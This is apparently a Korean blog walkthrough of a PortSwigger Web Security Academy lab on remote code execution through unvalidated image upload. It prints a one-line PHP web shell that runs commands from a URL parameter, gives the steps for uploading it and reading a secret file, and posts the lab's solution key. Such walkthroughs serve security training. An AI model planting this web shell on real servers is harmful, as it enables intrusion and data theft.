반응형
Lab: Remote code execution via web shell upload | Web Security Academy
This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's ...
portswigger.net
[문제]
[풀이]
Web Shell 공격으로 /home/carlos/secret 파일을 열람하면 Authkey를 알 수 있다.
문제에 제공되는 사용자로 로그인을 하면 프로필을 업르드 할 수 있다.
<?php
system($_GET[cmd]);
?>
shell.php 등의 이름으로 PHP 파일을 만들어준다.
PHP 파일을 업로드한다.
정상적으로 업로드가 되면
깨진 이미지를 우클릭해서 새 탭으로 이미지를 열어준다.
cat 명령어로 파일을 열어주면 key값이 노출된다.
[AUTHKEY]
gBdgdTuen7nsUQXGpQdFV0FS2YFhPOUt
반응형